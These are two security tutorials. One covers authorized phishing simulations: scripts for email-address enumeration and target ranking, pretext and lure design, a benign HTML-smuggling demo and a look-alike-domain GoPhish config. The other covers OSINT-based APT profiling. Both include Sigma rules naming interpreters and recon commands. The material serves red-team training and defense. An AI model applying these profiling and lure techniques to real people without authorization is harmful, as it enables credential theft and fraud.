Phishing Campaign Design: Pretexting, Lures, and Target Profiling

The most common mistake I see from someone running their first authorized phishing engagement is treating it as an email problem. They obsess over the payload and the landing page, launch on day two, and wonder why the click rate is 4%. The professional sequence is inverted — the message is the last artifact you build. The dossier, the pretext, and the sender domain’s reputation decide whether anyone reads past the subject line. Everything else is decoration.

This walkthrough is written for authorized red teamers and the defenders who have to understand the adversary’s decision chain to break it. Every phase maps to MITRE ATT&CK, and every offensive step is paired with how a blue team sees it.


1. Rules of Engagement and Legal Scope

Phishing simulations touch real people and harvest real PII. None of what follows is legal without explicit, signed authorization. Before a single byte of recon:

  • Written authorization naming the target organization, the engagement window, and the specific techniques in scope (attachment vs. link vs. vishing).
  • A scoping statement that lists which domains, mailboxes, and employee groups are fair game — and which are explicitly off-limits (legal, HR, executives’ personal accounts).
  • Data-handling rules. Harvested credentials, breach-dump matches, and scraped employee data are PII. Encrypt at rest, define a retention window, and destroy on engagement close. You are a custodian, not a collector.
  • An abort and de-confliction path so the SOC’s incident response doesn’t burn a weekend chasing your simulation.

If you can’t point to the paragraph in the contract that authorizes a technique, you don’t run it.


2. The Adversary’s Pre-Attack Workflow

Real intrusion sets — APT29, Kimsuky, TA453 — don’t improvise lures. They build a target list first, under the Reconnaissance tactic (TA0043), long before any email leaves an outbox. The workflow is iterative: start with a broad pool of harvested identities, enrich each with org and role context, then narrow to a short list of high-value recipients whose job function makes a specific pretext plausible.

The reason this matters to defenders: most of this generates zero target-side telemetry. Passive identity collection (T1589) reads breach databases and LinkedIn; nothing hits your logs. Your first detectable event is often the inbound message itself — which means the controls that matter most are the ones that limit exposure before the campaign and inspect delivery during it.


Flow diagram showing the adversary pre-attack workflow from identity harvesting through org enrichment, target ranking, pretext building, delivery, and credential harvesting with MITRE ATT&CK technique labels on each step
Real threat actors build the dossier long before composing a message — nearly every stage up to delivery generates zero target-side telemetry.

3. Target Profiling via OSINT

Passive vs. Active Reconnaissance

Passive recon never touches the target’s infrastructure — breach dumps, social media, cached pages. Active recon (port scans, mail-server probing) does, and it’s noisier. A good profiling phase stays passive as long as possible.

The ATT&CK techniques in play:

TechniqueMITRE IDWhat it feeds
Gather Victim Identity InformationT1589Names, emails, exposed credentials
Email AddressesT1589.002Format enumeration (first.last@)
Employee NamesT1589.003Org-chart and LinkedIn scraping
Gather Victim Org InformationT1591Departments, hierarchy
Business RelationshipsT1591.002Vendor/partner pretext chains
Identify RolesT1591.004Who approves wires, who resets passwords
Search Open WebsitesT1593.001Social-media profiling
Search Open Technical DatabasesT1596Cert transparency, Shodan, WHOIS

Once you know the email format, every name you scrape becomes an address. That’s the whole point of T1589.002:

import itertools

# T1589.002 — derive addresses from a known naming convention.
formats   = ["{first}.{last}", "{f}{last}", "{first}{l}"]
domain    = "example.com"
employees = [("jane", "doe"), ("ahmed", "khan")]

for first, last in employees:
    for fmt in formats:
        addr = fmt.format(first=first, last=last,
                          f=first[0], l=last[0]) + "@" + domain
        print(addr)   # later: validate against MX / catch-all behavior

Scraped profile data turns into a prioritized target map. The goal is T1591.004 — separate the people who can wire money or reset passwords from everyone else:

import json

# T1591.004 — convert scraped profiles into a ranked target list.
with open("profiles.json") as f:
    people = json.load(f)

HIGH_VALUE = {"finance", "accounts payable", "it", "helpdesk", "executive"}

for p in people:
    dept = p.get("department", "").lower()
    priority = "HIGH" if any(k in dept for k in HIGH_VALUE) else "low"
    print(f"{priority:4} | {p['name']:24} | {p['title']}")

Infrastructure and tech-stack intelligence (T1596) tunes the theme. If certificate transparency logs reveal a Citrix or VPN gateway, “your VPN certificate expires in 24 hours” becomes credible:

# T1596 — map the footprint from public technical databases.
whois example.com | grep -Ei 'registrar|creation|name server'
dig +short MX example.com               # mail routing → gateway vendor fingerprint

# Certificate Transparency: enumerate subdomains without touching the target.
curl -s "https://crt.sh/?q=%25.example.com&output=json" \
  | jq -r '.[].name_value' | sort -u
ToolDescriptionLink
theHarvesterEmail/domain/name harvesting from public sourcesgithub.com
MaltegoGraphical link analysis for org mappingmaltego.com
Hunter.ioEmail format discovery and verificationhunter.io
Recon-ngModular OSINT frameworkgithub.com
Have I Been PwnedCredential-exposure checkinghaveibeenpwned.com
OSINT FrameworkCurated index of profiling resourcesosintframework.com

4. Pretexting Fundamentals

A pretext is a fabricated backstory that gives the lure context. The believable ones lean on a small set of influence principles:

PrincipleDescription
AuthorityImpersonating IT helpdesk, C-suite, auditors, or law enforcement
Urgency / Scarcity“Account expires in 24 hours,” “final warning before suspension”
Social proofReferencing real colleagues, known vendors, ongoing projects
Likability / FamiliarityHijacking an existing email thread (reply-chain phishing)
Pretext narrativeA plausible story matching the target’s job and industry

The skeleton that turns those principles into a message:

[ROLE the sender claims]        -> "Microsoft 365 Security Team"
+ [AUTHORITY trigger]           -> policy / compliance / mandate
+ [URGENCY hook]                -> "session expires in 24h"
+ [ACTION request]              -> "re-verify at <link>"
+ [PLAUSIBLE sender + branding] -> aged look-alike domain, correct logo
= a lure that survives the recipient's first three seconds of scrutiny

Matching the Pretext to the Role

Profiling pays off here. A generic lure addressed to everyone is weaker than three tailored ones. Finance gets invoice-fraud and vendor-payment-change narratives. IT and helpdesk staff get credential-reset and MFA-enrollment pretexts. Executives get CEO-fraud and board-document lures. The pretext has to fit what the recipient already expects to receive on a normal Tuesday.


Hierarchy diagram mapping a profiled target list into three role groups — Finance, IT/Helpdesk, and Executive — each branching to its tailored pretext lure type
Profiling converts a generic target pool into role-specific pretexts; a lure matched to the recipient’s actual workflow is exponentially more convincing than a broadcast message.

5. Lure Design and Delivery Vector Selection

The delivery vector is T1566 (Phishing), and the sub-technique you pick is a trade-off between trust, evasion, and what the target’s controls inspect:

Sub-techniqueIDDelivery mechanism
Spearphishing AttachmentT1566.001Malicious file — Office doc, PDF, ISO, LNK, OneNote
Spearphishing LinkT1566.002Link to harvesting page or payload host
Spearphishing via ServiceT1566.003Teams, Slack, LinkedIn DM, cloud storage
Spearphishing VoiceT1566.004Vishing / callback phishing

Attachment campaigns rely on User Execution (T1204.002) — the victim has to open and trigger the file. Links exist precisely to avoid attachment scanning. If a gateway detonates attachments, you move to a link; if it rewrites links, you move to something the scanner doesn’t understand.

Lure formatAbuse scenario
ISO / VHD in archiveContainer strips Mark-of-the-Web from the inner payload
LNK fileShortcut launches a hidden interpreter on double-click
OneNote attachmentEmbedded “click to view” object spawns a child process
Double-extension fileinvoice.pdf.exe reads as a PDF in a narrow window
QR code (“quishing”)URL lives in an image — no clickable link for gateways to parse
HTML smugglingBrowser assembles the payload locally from inline data

HTML smuggling is worth understanding because it inverts the perimeter: the file never crosses the network as a file, so attachment and URL scanners see only plain HTML.

<!-- Illustrative ONLY — shows why HTML smuggling evades file/URL scanners.
     The "payload" never traverses the network as a file; the browser builds it
     locally from a string already inside the HTML. The gateway sees inert markup. -->
<script>
  const data = atob("SGVsbG8gZnJvbSB0aGUgYnJvd3Nlcg==");   // benign demo content
  const blob = new Blob([data], { type: "application/octet-stream" });
  const url  = URL.createObjectURL(blob);
  const a    = document.createElement("a");
  a.href = url; a.download = "invoice.txt";                // forces a local "save"
  // a.click();   // auto-trigger left disabled deliberately
</script>

6. Sender Infrastructure and Spoofing

Delivery fails at the envelope if the sender looks wrong. Adversaries register look-alike domains (T1583.001) — corp-helpdesk.example against the real corp.helpdesk.example — and warm up aged sending accounts (T1585.002) so they pass reputation filters. The highest-trust option is hijacking a real conversation from a compromised third-party mailbox (T1586.002), where the reply lands inside an existing thread the victim already trusts.

From the attacker’s chair, the three email-authentication records define what’s possible:

ControlWhat it does
SPF (TXT)Authorizes sending IPs; ~all softfails, -all hardfails
DKIMCryptographic signature over headers/body; detects mid-transit tampering
DMARCEnforces policy (p=reject / p=quarantine / p=none) on SPF/DKIM failure and binds both to the From: header via alignment

Direct domain spoofing dies against a hard -all SPF record plus DMARC p=reject. That’s why attackers pivot to look-alike domains — a domain you control passes its own SPF and DKIM cleanly, and DMARC has nothing to complain about because the From: is genuinely yours.

A war story worth your hour: I once burned a beautifully aged look-alike domain in the first thirty minutes of a campaign because the landing page’s TLS certificate had been issued that morning. A switched-on analyst pulled the cert transparency log, saw a brand-new cert on a brand-new host receiving inbound clicks, and quarantined the whole run. The same crt.sh query you use to profile a target is the one defenders use to catch you. Provision infrastructure days ahead, not minutes.


Flow diagram showing an inbound email passing sequentially through SPF, DKIM, and DMARC authentication checks with pass paths leading to inbox delivery and fail paths leading to quarantine or rejection
Direct domain spoofing is defeated by SPF -all plus DMARC p=reject — which is precisely why attackers pivot to look-alike domains that pass their own authentication cleanly.

7. Reconnaissance Phishing vs. Payload Delivery

Not every phishing message delivers malware. T1598 (Phishing for Information) sits under Reconnaissance — it tricks the target into divulging credentials or actionable data with no payload at all. A fake login portal (T1598.003) harvests a password; callback phishing extracts data verbally over the phone. The defining indicator: no malicious attachment, no exploit-laden link. That absence is what distinguishes T1598 from T1566.

Two modern variants defeat MFA and deserve detection-level treatment (no working frameworks here):

  • Adversary-in-the-Middle (T1557). A reverse proxy relays the victim’s real login to the real service and captures the session cookie issued after a successful MFA prompt. The stolen cookie replays the authenticated session — the second factor never protected anything because it already passed.
  • MFA Request Generation (T1621). Push-bombing a target with repeated approval prompts until fatigue or confusion yields a tap.
  • OAuth device-code phishing. Abusing the device-authorization flow to capture tokens without ever touching a password, against M365 and Google Workspace.

The defensive answer to all three is phishing-resistant authentication — FIDO2 / passkeys — which is not susceptible to relay because the credential is bound to the legitimate origin.


8. Campaign Execution and Metrics

For authorized simulations, GoPhish handles sending profiles, landing pages, and tracking. The shape of a scoped, consented campaign:

# Authorized simulation only. Illustrative profile + campaign shape.
sending_profile:
  name: "IT Helpdesk Sim"
  from_address: "helpdesk@corp-helpdesk.example"   # pre-warmed look-alike
  host: "smtp.relay.internal:587"
  username: "sim-sender"
  ignore_cert_errors: false

campaign:
  name: "Q3 Awareness - Password Reset"
  url: "https://corp-helpdesk.example/reset"        # tracked landing page
  launch_date: "2026-07-01T09:00:00Z"
  tracking_pixel: true                              # open-rate beacon
  groups: ["finance-pilot"]                         # scoped, consented list

Read the metrics honestly. Open rate measures subject-line and sender plausibility. Click rate measures pretext strength. Submit rate — credentials actually entered — is the number that matters for risk, and it’s the one you report. Don’t shame individuals; aggregate by department and feed the result back into training. And when the engagement closes, destroy the harvested submissions per your data-handling rules.


9. Detection and Defense — The Defender’s View

Recon is invisible, so defense concentrates at delivery and execution. Email authentication is the first wall: enforce DMARC p=reject with alignment, and teach analysts to read the headers.

# Defender view: read Authentication-Results to spot spoofing.
$headers = Get-Content .\suspicious.eml -Raw
[regex]::Matches($headers, 'Authentication-Results:.*?(?=\r?\n\S)') |
    ForEach-Object { $_.Value }
# Flag: spf=fail, dkim=fail, dmarc=fail (or dmarc=none = no enforcement)
Flow diagram illustrating the defender detection kill chain from email delivery through DMARC authentication, gateway sandbox, user execution, Sysmon process-creation event capture, and Sigma rule alert escalation to the SOC
Because recon is invisible, defense must layer at delivery (email auth, gateway) and execution (Sysmon EID 1, Sigma rules) to catch what passive OSINT collection never exposes.

Post-delivery, the payload betrays itself through process lineage. Key Sysmon events:

Event IDNameRelevance to phishing
1Process Createoutlook.exepowershell.exe, winword.execmd.exe
3Network ConnectionUnusual outbound from an Office app (C2 callback)
11File CreatedAttachment written to %TEMP%\Outlook Temp\
15FileCreateStreamHashZone.Identifier ADS confirms internet origin (MOTW)
22DNS QueryOffice or browser DNS right after lure interaction

The canonical detection — an Office app spawning a script interpreter:

title: Office Application Spawning a Script Interpreter
id: 6c4f1a2e-phishing-office-child
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
      - '\onenote.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection
tags:
  - attack.initial_access
  - attack.t1566.001
  - attack.t1204.002
level: high

Catch attachment execution by its working directory:

title: Process Execution From Outlook Attachment Temp Path
id: 9a2b7c10-phishing-outlook-temp
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CurrentDirectory|contains: '\Content.Outlook\'
  condition: selection
tags:
  - attack.initial_access
  - attack.t1566.001
level: high

Credential-harvest fallout shows up in the Security log — 4625 (failed logon), 4740 (lockout from spray), 4688 (process creation with command-line auditing) — and in M365 / Entra ID sign-in risk events. Hardening that actually moves the needle:

  • ASR rules blocking Office apps from spawning child processes.
  • Protected View + Trust Center disabling internet-origin macros by default, with MOTW enforced even for archive-extracted files to kill the ISO bypass.
  • Safe Links / Safe Attachments for click-time URL rewriting and sandbox detonation.
  • FIDO2 / passkeys over push-based MFA — the only control that survives AiTM.
  • Limiting public OSINT exposure — shallow public org charts, undisclosed email formats, sanitized job postings.
  • Awareness training using current lures (ISO, OneNote, QR), not just decade-old attachment scares.

10. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Gather Victim Identity InformationT1589Largely invisible; monitor breach exposure, 4625/4740 downstream
Gather Victim Org Information / RolesT1591 / T1591.004Limit public org-chart depth
Search Open Technical DatabasesT1596Monitor own CT logs for look-alike certs
Acquire Infrastructure: DomainsT1583.001Newly-registered-domain blocking at gateway
Compromise Accounts: EmailT1586.002Anomalous reply-chain sender, header mismatch
PhishingT1566Email auth, gateway telemetry, Sysmon EID 1
Spearphishing AttachmentT1566.001Sysmon EID 1/11/15, Office child-process Sigma
Spearphishing LinkT1566.002Safe Links, URL detonation
Spearphishing VoiceT1566.004Helpdesk verification policy, user reporting
User Execution: Malicious FileT1204.002Parent-child process chain
Phishing for InformationT1598Link to harvest page with no payload
Adversary-in-the-MiddleT1557Impossible-travel, session anomalies; FIDO2
MFA Request GenerationT1621Repeated push prompts in sign-in logs

Summary

  • A phishing campaign is won during reconnaissance, not in the message — the dossier and pretext decide the outcome before delivery.
  • Target profiling chains passive OSINT (T1589, T1591, T1593, T1596) into a ranked list, generating almost no target-side telemetry.
  • Pretexts weaponize authority, urgency, and familiarity; the strongest ones match the recipient’s actual job function.
  • Delivery vector (T1566 sub-techniques) is a trade-off against the controls in place — attachment, link, service, or voice — with ISO, OneNote, quishing, and HTML smuggling as modern evasion paths.
  • T1598 harvests data with no payload, and AiTM (T1557) defeats push-based MFA — both demand phishing-resistant FIDO2.
  • Defenders win at delivery and execution: enforce DMARC p=reject, hunt Office child-process chains via Sysmon EID 1, and convert every red-team finding into a concrete blue-team control.

Related Tutorials

References

APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence

Objective: Learn how to systematically collect, structure, and operationalize open-source intelligence into a complete, ATT&CK-mapped adversary profile — a defensible dossier that drives realistic adversary emulation, detection-gap analysis, and threat-informed defense.


1. What Is an Adversary Profile and Why Build One

An adversary profile is a structured dossier describing who a threat actor is, what they target, how they operate, and which tools and infrastructure they favor — all normalized to a shared taxonomy. It is the durable opposite of an IOC-only feed.

An IOC feed gives you hashes and IP addresses that expire in days. A profile captures the actor’s tactics, techniques, and procedures (TTPs), which change slowly and cost the adversary real effort to alter. A finished profile is the source artifact for three downstream activities:

  • Adversary emulation — sequencing a real group’s TTPs into a test plan.
  • Detection engineering — overlaying the profile against your sensor coverage to find gaps.
  • Risk communication — translating actor capability and intent for leadership.

Threat intelligence comes in four flavors, and a good profile feeds all of them: strategic (executive risk), tactical (SOC TTPs), operational (incident-response context), and technical (machine-readable indicators).


2. The Intelligence Lifecycle Applied to APT Profiling

Cyber threat intelligence is produced through a six-phase lifecycle. Profiling is just this lifecycle scoped to a single actor.

PhaseProfiling Activity
Planning / DirectionDefine the intelligence requirement: “Which APT threatens our sector, and can we detect its TTPs?”
CollectionGather vendor reports, advisories, passive DNS, malware samples
ProcessingNormalize raw reports; extract candidate TTPs and IOCs
AnalysisMap to ATT&CK, assess confidence, resolve naming conflicts
DisseminationPublish as STIX bundle, Navigator layer, and emulation plan
FeedbackRefine the profile as new reporting and red-team results arrive

Start with an explicit Priority Intelligence Requirement (PIR) or Request for Information (RFI). Without a scoped question, collection sprawls and the profile never converges.


3. Analytical Frameworks: Diamond Model, Kill Chain, and ATT&CK

Three frameworks provide complementary lenses. Use all three — they are not interchangeable.

FrameworkRole in APT Profiling
MITRE ATT&CKMaps observed TTPs to a standardized taxonomy for comparison and emulation
Cyber Kill Chain (Lockheed Martin)Sequences behaviors across reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives
Diamond ModelRelates the four core intrusion elements: Adversary, Infrastructure, Capability, Victim

The Diamond Model is the pivoting engine. Each intrusion event has four interconnected vertices, and the relationships between them drive investigation. The adversary–infrastructure edge reveals how operators stand up C2; the victim–capability edge exposes which tooling is used against which target. Unlike the sequential Kill Chain, the Diamond Model excels at attribution and visualizing relationships — pivot from a known malware sample to the infrastructure that served it, then to other victims of the same infrastructure.

ATT&CK then supplies the granular vocabulary that makes those pivots comparable across reports and across teams.


Diamond Model vertices (Adversary, Infrastructure, Capability, Victim) interconnected with edges, annotated with Kill Chain sequencing and ATT&CK TTP taxonomy as complementary overlays
The Diamond Model drives adversary-infrastructure pivoting, the Kill Chain orders the attack sequence, and ATT&CK supplies the precise technique vocabulary — all three are required for a complete profile.

4. OSINT Collection: Primary Source Taxonomy

OSINT spans news media, social media, public records, government publications, academic research, commercial data, and the deep/dark web. For APT profiling, prioritize these primary source classes and score each for reliability.

Source TypeDescription
Vendor threat reportsMandiant, CrowdStrike Intelligence, Microsoft MSTIC, Secureworks CTU, Elastic Security Labs, SpecterOps
Government advisoriesCISA advisories (often with embedded ATT&CK mappings), NSA/CISA joint advisories, FBI Flash
MITRE ATT&CK GroupsCurated, attributed group profiles at attack.mitre.org/groups/
Malware repositoriesVirusTotal, MalwareBazaar, Hybrid Analysis for tooling attribution
Infrastructure / passive DNSShodan, Censys, DomainTools, WHOIS/RDAP, certificate transparency logs
Code repositoriesGitHub/GitLab for leaked tooling and infrastructure-as-code patterns

Infrastructure pivoting is largely passive. The example below queries Shodan for hosts matching a documented C2 fingerprint — a benign illustration of the adversary–infrastructure edge.

import shodan

API_KEY = "YOUR_API_KEY"      # placeholder — never commit real keys
api = shodan.Shodan(API_KEY)

# Pivot on a publicly documented C2 framework fingerprint
query = 'product:"Cobalt Strike Beacon" ssl.cert.subject.CN:"example-c2.test"'
results = api.search(query)

for host in results["matches"]:
    print(host["ip_str"], host.get("port"), host.get("org"))

Rate every source with the Admiralty Code: source reliability (A–F) and information credibility (1–6). A single vendor blog is B2 at best; corroboration across two independent vendors plus a government advisory raises confidence.


5. Building the Adversary Dossier

Capture the profile in a fixed schema so that every actor is described the same way and TTP heatmaps are comparable. Use this template as your reference document.

FieldContent
Actor IDCanonical tracker (e.g., ATT&CK G0016)
AliasesAssociated group names and vendor designations
NexusSuspected country of origin / state sponsorship
MotivationEspionage, financial, ideological, destructive
Active SinceFirst reported activity date
TargetingSectors, geographies, victim profile
ToolingMalware families and offensive tools
Infrastructure PatternsRegistrar habits, ASN clusters, cert reuse, C2 conventions
ATT&CK TechniquesNormalized technique-ID list with frequency
IOCsHashes, domains, IPs (with confidence and decay date)
ConfidenceAdmiralty rating per claim
SourcesCited reports with retrieval dates

ATT&CK’s Group object aligns directly with several of these fields, so anchor your dossier to it.

FieldDescription
Group IDUnique identifier (e.g., G0016 for APT29)
Associated GroupsPublicly reported overlapping names (formerly “Aliases”)
DescriptionActivity dates, suspected attribution, targeted industries
Techniques UsedTechniques with a note on how the group used each
SoftwareMalware and tool families attributed to the group
CampaignsNamed, time-bounded intrusion clusters

ATT&CK currently tracks 176 groups, each with attribution, targeted geographies, and targeted sectors.


Hierarchical diagram showing an Adversary Profile root node branching into six structured fields: Identity and Attribution, Targeting, ATT&CK TTP Heatmap, Tools and Malware, Infrastructure Patterns, and Admiralty Confidence Rating
A fixed dossier schema ensures every actor profile shares the same structure, making TTP heatmaps and coverage gap analyses directly comparable across groups.

6. ATT&CK Mapping: Extracting and Normalizing Techniques

Follow CISA’s Best Practices for MITRE ATT&CK Mapping: read the report, find the behavior, then map to the most specific technique the evidence supports. The cardinal sin is over-mapping — claiming a sub-technique when the text only justifies a tactic.

A conceptual keyword-to-technique pass illustrates semi-automated extraction. This is not a production NLP classifier; treat it as a triage aid that an analyst validates.

import json

# Local ATT&CK Enterprise snapshot (STIX bundle) loaded for ID validation
with open("enterprise-attack.json") as f:
    bundle = json.load(f)

# Illustrative keyword -> technique lookup, manually curated
keyword_map = {
    "spearphishing attachment": "T1566.001",
    "powershell":               "T1059.001",
    "wmi":                      "T1047",
    "scheduled task":          "T1053.005",
    "lsass":                   "T1003.001",
}

report = """The actor sent a spearphishing attachment, used PowerShell to
run a loader, registered a scheduled task for persistence, and dumped
credentials from LSASS."""

report_l = report.lower()
hits = sorted({tid for kw, tid in keyword_map.items() if kw in report_l})
print(hits)   # ['T1003.001', 'T1053.005', 'T1059.001', 'T1566.001']

Every machine-suggested ID gets human confirmation against the report sentence before it enters the profile.


7. Querying ATT&CK Group Data Programmatically

MITRE publishes ATT&CK as STIX. Pull a group’s techniques directly with mitreattack-python rather than scraping the website.

from mitreattack.stix20 import MitreAttackData

mitre = MitreAttackData("enterprise-attack.json")

# Resolve the documented group by alias (use real, attributed groups only)
group = mitre.get_groups_by_alias("APT29")[0]   # G0016

techniques = mitre.get_techniques_used_by_group(group.id)
for entry in techniques:
    tech = entry["object"]
    attack_id = mitre.get_attack_id(tech.id)
    print(attack_id, tech.name)

You can also reach the live TAXII 2.1 server and walk the relationship graph yourself — pivoting intrusion-setusesattack-pattern.

from taxii2client.v21 import Server
from stix2 import TAXIICollectionSource, Filter

server = Server("https://attack-taxii.mitre.org/api/v21/")
collection = server.api_roots[0].collections[0]   # Enterprise ATT&CK
src = TAXIICollectionSource(collection)

group = src.query([Filter("type", "=", "intrusion-set"),
                   Filter("name", "=", "APT29")])[0]

for rel in src.relationships(group.id, "uses", source_only=True):
    if rel.target_ref.startswith("attack-pattern"):
        print(src.get(rel.target_ref).name)

8. ATT&CK Navigator Layers and Coverage Gap Analysis

The ATT&CK Navigator renders technique sets as a heatmap. Export a group’s techniques as a layer JSON, score each by observed frequency, and drag the file into the Navigator web app. Below is a v4 layer for a documented group.

{
  "name": "G0016 APT29 - Observed TTPs",
  "versions": { "attack": "14", "navigator": "4.9.1", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1566.001", "score": 5, "color": "#fc3b3b",
      "comment": "Spearphishing attachment - multiple campaigns" },
    { "techniqueID": "T1059.001", "score": 4, "color": "#fc6b3b",
      "comment": "PowerShell loaders" },
    { "techniqueID": "T1003.001", "score": 3, "color": "#fc9d3b",
      "comment": "LSASS credential access" }
  ],
  "gradient": {
    "colors": ["#ffffff", "#fc3b3b"], "minValue": 0, "maxValue": 5
  }
}

The power move is layer arithmetic: load the actor layer and your team’s detection coverage layer, then compute their difference. Techniques the actor uses that your sensors do not cover are your prioritized hardening backlog. Overlaying two actor layers instead reveals shared TTPs worth emulating once to cover multiple threats.


9. Structuring the Profile in STIX 2.1

To make the profile machine-readable and shareable over TAXII, serialize it as STIX. Platforms such as MISP, OpenCTI, ThreatConnect, and Anomali ThreatStream ingest this directly.

STIX SDOMaps To
threat-actorActor identity, aliases, motivation, sophistication
intrusion-setNamed activity cluster (e.g., “APT29”)
attack-patternAn ATT&CK technique via external_references
malwareFamily with malware_types, is_family
toolLegitimate software used offensively
campaignA time-bounded activity cluster
indicatorA STIX pattern, e.g. [file:hashes.'SHA-256' = '...']
relationshipLinks SDOs (uses, attributed-to)
{
  "type": "bundle", "id": "bundle--6f3a...",
  "objects": [
    { "type": "intrusion-set", "spec_version": "2.1",
      "id": "intrusion-set--1a2b...", "name": "APT29",
      "aliases": ["Cozy Bear"] },
    { "type": "attack-pattern", "spec_version": "2.1",
      "id": "attack-pattern--3c4d...", "name": "Spearphishing Attachment",
      "external_references": [
        { "source_name": "mitre-attack", "external_id": "T1566.001" } ] },
    { "type": "malware", "spec_version": "2.1",
      "id": "malware--5e6f...", "name": "WELLMESS",
      "is_family": true, "malware_types": ["backdoor"] },
    { "type": "relationship", "spec_version": "2.1",
      "id": "relationship--7a8b...", "relationship_type": "uses",
      "source_ref": "intrusion-set--1a2b...",
      "target_ref": "attack-pattern--3c4d..." }
  ]
}

10. The Pyramid of Pain and Attribution Confidence

David Bianco’s Pyramid of Pain (2013) explains why TTP-based profiling outlasts IOC-based profiling. From the bottom (trivial for the adversary to change) to the top (expensive and painful):

  • Hash values → trivially recompiled
  • IP addresses → rotated in minutes
  • Domain names → re-registered cheaply
  • Network/host artifacts → moderate effort
  • Tools → significant rework
  • TTPs → the adversary must relearn how they operate

Profiling for the top of the pyramid forces the adversary to change behavior, not just infrastructure. That is the entire defensive case for TTP-centric profiles.

Treat attribution skeptically. Multiple vendors track overlapping activity under different names, and their group boundaries may disagree. Record an explicit confidence rating (Admiralty Code or an Assessed/Confirmed scale) per claim, and never collapse two vendor clusters into “the same actor” without corroboration.


Pyramid of Pain hierarchy from Hash Values at the base through IP Addresses, Domain Names, Artifacts, and Tools up to TTPs at the apex, with edge labels indicating the adversary cost to change each indicator type
Profiling for the apex of the Pyramid forces adversaries to change how they operate, not just which infrastructure they use — the core defensive argument for TTP-centric intelligence.

11. From Profile to Emulation Plan

The finished profile drives an emulation plan in the style of the CTID Adversary Emulation Library. Translate the TTP heatmap into a prioritized, sequenced scenario:

  • Sequence techniques along the Kill Chain — initial access, execution, persistence, credential access, exfiltration.
  • Prioritize by impact, current detection coverage (from the Navigator gap analysis), and business relevance.
  • Constrain the plan to documented behaviors; emulate procedures, not improvised tradecraft.

The output is a runnable, scoped test that exercises exactly the techniques your real adversary uses — and validates the detections you built from the same profile.


Left-to-right flow diagram from OSINT Collection through Adversary Dossier and STIX Serialization to Navigator Gap Analysis, then Emulation Plan and Detection Validation
The finished adversary profile feeds two parallel downstream pipelines — machine-readable STIX for TIP ingestion, and a Navigator gap layer that directly sequences the emulation test plan.

12. Common Attacker Techniques

A profile must capture what the adversary does during its own reconnaissance and resource development — the pre-attack behaviors you study and emulate.

TechniqueDescription
Gather identity informationHarvest credentials, emails, employee names (T1589)
Gather network informationEnumerate DNS, IP ranges, topology (T1590)
Gather org informationIdentify roles, business tempo, relationships (T1591)
Gather host informationFingerprint software, hardware, configs (T1592)
Search open websitesSocial media, search engines, code repos (T1593)
Active scanningPort, vulnerability, wordlist scanning (T1595)
Acquire / develop capabilitiesRegister infra, build or buy tooling (T1583, T1587, T1588)

13. Defensive Strategies & Detection

Profiling cuts both ways: detect adversaries profiling you, and validate coverage against a finished profile. Correlate weak recon signals across categories — perimeter scanning (T1595), web fingerprinting (T1592), and email harvesting (T1589) together indicate targeted pre-attack planning.

Detection AreaSpecifics
Web server logsScanner user-agents (Masscan, ZGrab); sequential 404 bursts (T1595.003)
DNS monitoringAXFR zone-transfer attempts; unusual PTR sweeps (T1590.002)
HoneytokensPlanted career-page emails that fire on first contact (T1589.002)
Cert TransparencyAlerts on lookalike-domain issuance (T1583/T1584)
Identity logsEvent ID 4624 correlated with 4662 for LDAP/AD enumeration

Host-based recon once inside is visible to Sysmon: Event ID 1 (Process Create) catches nslookup, nltest, net view; Event ID 3 (Network Connection) surfaces internal scanning; Event ID 22 (DNS Query) enumerates lookups. Enable Audit Directory Service Access and command-line auditing (4688).

title: Domain Trust and Group Reconnaissance via Built-in Tools
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    CommandLine|contains:
      - 'nltest /domain_trusts'
      - 'net group "domain admins"'
      - 'net view /domain'
  condition: selection
level: medium

Centralize network, endpoint, identity, and threat-intel telemetry into one analytics platform, and ingest the profile’s STIX into a TIP (MISP/OpenCTI) so IOCs correlate against live data automatically. Reduce your OSINT attack surface: prune public DNS records, enable WHOIS privacy, and strip version banners.


14. Tools for Adversary Profiling

ToolDescriptionLink
MITRE ATT&CK NavigatorTechnique heatmaps and layer arithmeticmitre-attack.github.io
mitreattack-pythonProgrammatic ATT&CK STIX queriesgithub.com
MISPThreat-intel platform, STIX/TAXII ingestionmisp-project.org
OpenCTIKnowledge graph for actors and TTPsopencti.io
Shodan / CensysPassive internet asset discoveryshodan.io
DomainTools / RDAPWHOIS and passive DNS pivotingdomaintools.com
VirusTotal / MalwareBazaarTooling attribution from samplesvirustotal.com

15. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Gather Victim Identity InformationT1589Honeytoken email triggers; phishing telemetry
Email AddressesT1589.002Planted-address alerting
Gather Victim Network InformationT1590AXFR / PTR sweep monitoring
DNST1590.002Microsoft-Windows-DNS-Client ETW
Gather Victim Org InformationT1591LinkedIn exposure review
Gather Victim Host InformationT1592Web fingerprinting in server logs
Search Open Websites/DomainsT1593Code-repo secret scanning
Search Victim-Owned WebsitesT1594Anomalous crawl patterns
Active ScanningT1595Perimeter scan / 404 burst detection
Acquire InfrastructureT1583Cert Transparency lookalike alerts
Compromise InfrastructureT1584Passive DNS pivoting
Develop / Obtain CapabilitiesT1587 / T1588Malware-repo attribution

Summary

  • An adversary profile is a structured, ATT&CK-mapped dossier of actor identity, targeting, tooling, and TTPs — the durable artifact IOC feeds cannot replace.
  • Run the six-phase intelligence lifecycle and fuse three frameworks: the Diamond Model for pivoting, the Kill Chain for sequencing, and ATT&CK for the TTP taxonomy.
  • Collect from vendor reports, government advisories, passive DNS, and malware repositories — and score every source with the Admiralty Code.
  • Serialize the result as STIX 2.1 and a Navigator layer so it feeds TIPs, gap analysis, and CTID-style emulation plans.
  • Detect adversaries profiling you with correlated recon signals — Sysmon Event IDs 1/3/22, honeytokens, and Cert Transparency monitoring — and profile for the top of the Pyramid of Pain, where changing TTPs costs the adversary the most.

Related Tutorials

References

